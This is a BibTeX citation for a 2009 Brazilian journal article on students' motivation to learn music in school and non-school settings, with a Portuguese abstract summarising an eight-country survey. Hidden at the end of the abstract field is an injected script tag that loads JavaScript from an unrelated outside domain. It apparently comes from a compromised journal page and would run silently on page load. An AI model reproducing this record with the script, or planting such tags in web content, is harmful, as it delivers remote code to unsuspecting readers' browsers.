@article{Hentschke_Santos_Pizzato_Vilela_Cereser_2009, place={Campinas, SP}, title={Motivação para aprender música em espaços escolares e não-escolares}, volume={10}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/936}, DOI={10.20396/etd.v10in.esp..936}, abstractNote={<p align="justify">Este artigo apresenta o resultado da amostra brasileira da pesquisa internacional intitulada “Os significados da música para crianças e adolescentes em atividades musicais escolares e não-escolares”. Essa pesquisa teve o objetivo de investigar a importância e o significado atribuído pelos alunos às atividades musicais desenvolvidas em ambientes escolares e não-escolares. O método consistiu em um survey envolvendo 21.975 alunos de oito países (Brasil, China, Coreia do Sul, Estados Unidos, Finlândia, Hong Kong, Israel e México), cujo questionário foi concebido sob a ótica do modelo de expectativa e valor de Eccles e Wigfield. No Brasil, fizeram parte da amostra 1848 alunos da 6a série do ensino fundamental à 3a série do ensino médio, de 11 cidades do Estado do Rio Grande do Sul. O instrumento de coleta de dados foi um questionário sobre o perfil dos alunos e suas opiniões quanto ao interesse, importância, dificuldade, utilidade, senso de competência e senso de confiança em relação às disciplinas Artes, Ciências, Educação Física, Matemática, Português e Música. Os dados foram tratados por análise de variância (ANOVA). Os resultados do Brasil apontam que o grau de interesse, importância e utilidade da Música aumenta à medida que os estudantes brasileiros pertencem a séries mais avançadas, em sentido oposto ao observado na maioria dos outros países. </p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, journal={ETD - Educação Temática Digital}, author={Hentschke, Liane and Santos, Regina Antunes Teixeira dos and Pizzato, Miriam and Vilela, Cassiana Zamith and Cereser, Cristina}, year={2009}, month={nov.}, pages={85–104} }